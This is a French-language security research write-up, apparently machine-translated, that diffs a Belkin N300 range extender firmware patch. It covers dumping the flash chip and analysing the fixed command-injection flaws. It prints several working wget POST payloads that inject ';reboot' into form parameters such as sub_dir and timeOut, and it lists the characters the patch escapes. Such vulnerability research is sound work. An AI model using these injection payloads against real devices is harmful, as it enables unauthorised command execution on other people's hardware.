Introduction
Récemment, nous avons appris que HP DVLabs avait découvert au moins dix vulnérabilités dans le Belkin N300 Dual-Band Wi-Fi Range Extender (F9K1111). En réponse à cette découverte, Belkin a publié la version 1.04.10 du micrologiciel. Comme il s'agit de la première mise à jour publiée pour le F9K1111 et qu'il n'y a pas eu de déclencheurs publics pour les vulnérabilités, nous avons pensé qu'il serait intéressant d'y jeter un coup d'œil plus approfondi.
Déballage de la mise à jour
Pour commencer notre analyse, nous avons téléchargé la mise à jour du micrologiciel auprès du fournisseur. Nous avons utilisé un outil de microprogrammation appelé binwalk pour décompresser la mise à jour :
binwalk -Me F9K1111_WW_1.04.10_upg.bin
Le résultat est un système de fichiers SquashFS extrait, d'apparence assez standard, représentant la racine de l'appareil, comme on peut le voir ci-dessous.
Maintenant, pour effectuer le bindiff, nous devons interagir avec le matériel pour mettre les fichiers dans leur état pré-patché.
Obtenir le micrologiciel de base
Pour analyser le micrologiciel de base, nous avons besoin d'un moyen pour extraire les données de l'appareil physique. Pour ce faire, nous devons d'abord retirer l'appareil de son boîtier.
En rouge et en bleu, nous voyons les voies possibles pour récupérer le micrologiciel, la puce flash SPI et l'interface UART, respectivement. Bien que nous ayons constaté un certain niveau d'activité sur l'UART, nous allons procéder à l'analyse de l'image de base sur la puce flash SPI. Le brochage de la puce que nous utilisons, MX25L1606e, est facilement disponible auprès de Macronix.
Après avoir pris cette feuille et retiré la puce, nous sommes prêts à câbler notre GoodFET en respectant le brochage générique à 8 broches ci-dessus.
Après avoir relié les broches 7 et 8, nous vérifions que tout est correctement branché à l'aide de la fonction
$ python goodfet.spiflash info
Ensuite, nous pouvons exécuter goodfet.spiflash dump pour obtenir le contenu de la puce.
$ python goodfet.spiflash dump s
Enfin, nous pouvons effectuer un rapide contrôle sur le fichier résultant pour nous assurer que le dump est correct (c'est-à-dire qu'il contient au moins quelques chaînes lisibles).
Le fichier binaire qui en résulte peut être décompressé via binwalk comme précédemment.
Diffusion de la mise à jour
En déplaçant les deux systèmes de fichiers décompressés sur une machine Windows et en les plaçant dans WinMerge, nous pouvons constater que peu de choses ont changé.
Les fichiers compiler_data, version et FUNCTION_SCRIPT ne contiennent pas de changements intéressants (à part peut-être quelques données qui pourraient être utiles pour le fingerprinting). La modification du fichier util_system.asp n'est pas non plus très intéressante. Nous allons donc nous pencher sur les modifications apportées par Belkin à webs, le GoAhead Webserver.
Analyse des toiles
L'initiative Zero Day de HP a nommé les vulnérabilités avec ce qui semble être des noms de fonctions ou des entrées affectées. Il s'agit des noms suivants :
- Vulnérabilité d'exécution de code à distance dans formWpsStart pinCode
- formWlanSetupWPS wps_enrolee_pin Vulnérabilité d'exécution de code à distance
- Vulnérabilité d'exécution de code à distance de formWlanMP
- Vulnérabilité d'exécution de code à distance de formBSSetSitesurvey
- Vulnérabilité d'exécution de code à distance de formHwSet
- Vulnérabilité d'exécution de code à distance de formConnectionSetting
- Vulnérabilité d'exécution de code à distance de formAccept
- Vulnérabilité d'exécution de code à distance de formiNICWpsStart
- Vulnérabilité d'exécution de code à distance de formUSBStorage
Ainsi, après avoir chargé la version corrigée de webs dans IDA, nous avons cherché formHwSet dans la liste des fonctions et n'avons rien trouvé. En fait, beaucoup de ces fonctions n'ont pas été trouvées. En consultant Bindiff, nous pouvons voir que 7 fonctions ont été supprimées lors de la mise à jour :
Ces données correspondent bien à celles du bulletin de la ZDI. En fait, toutes les fonctions énumérées dans les avis de ZDI ont été supprimées, à l'exception de formWlanSetupWPS et formBSSetSitesurvey. Prenons le temps d'examiner les fonctions supprimées.
formUsbStorage
La première fonction que nous examinons est formUsbStorage. Après une lecture rapide de la fonction, le problème est assez évident. La variable POST sub_dir, à laquelle on accède via la fonction websGetVar de l'API GoAhead, est utilisée dans un appel au système, ce qui permet l'injection de commandes.
Ce code peut être déclenché via :
wget --post-data="sub_dir=vectra;reboot" http://belkin.range/goform/formUSBStorage
formWlanMP
Une erreur similaire peut être trouvée dans le formulaire actionformWlanMP. En retraçant les appels à websGetVar, nous voyons quelques possibilités.
Si l'on suit l'exemple, on voit que ces quelques possibilités peuvent toutes être injectées dans l'appel système -- nous avons choisi ateFunc.
Ce code peut être déclenché via :
wget --post-data="ateFunc=;reboot ;" http://belkin.range/goform/formWlanMP
formHwSet
Il y a encore une injection de commande ici, cette fois nous utilisons la variable [sic] Anntena.
Ce code peut être déclenché via :
wget --post-data="Anntena=;reboot ;" http://belkin.range/goform/formHwSet
formConnectionSetting
Ici, nous avons une injection de commande dans le paramètre timeOut de la fonction formConnectionSetting.
Ce code peut être déclenché via :
wget --post-data="timeOut=1;reboot ;" http://belkin.range/goform/formConnectionSetting
formBSSetSitesurvey
À ce stade, nous avons fait le tour de la question des fonctions supprimées. Examinons la plus importante des fonctions que Belkin a décidé de ne pas supprimer : formBSSetSitesurvey. En voici un aperçu :
Après avoir reculé d'horreur, nous pouvons zoomer et voir que le changement majeur est que Belkin a ajouté une fonction appelée strcat_escape qui est utilisée tout au long de cette fonction sur les sources provenant de websGetVar.
This strcat_escape function takes 3 buffers - dst, src, and tokens. The function uses nested loops to search the src string for existence of any of the tokens to be escaped, if found they are escaped before being copied into dst. In the pictured case token_of_none_quotation is passed as tokens which is defined as"\\\"'$()<>` #&*
Nous avons réimplémenté cette fonction en C à partir du binaire webs et nous pouvons voir la sortie attendue :
Cette chaîne échappée (vraisemblablement correctement) est ensuite transmise normalement au système via sprintf, comme précédemment.
L'efficacité de ce patch dépend de plusieurs facteurs :
- La fonction strcat_escape fonctionne complètement comme prévu
- strcat_escape ne provoque pas involontairement des débordements de tampon ;-)
- strcat_escape est utilisé pour toutes les entrées utilisateur qui aboutissent au système
- Nous avons pris contact avec Belkin au sujet de certains de ces points.
Conclusion
Nous savons tous que la maturité de la sécurité du code des appareils embarqués est un problème. Ici, nous voyons que même dans les appareils sortis en 2014, cela reste un problème.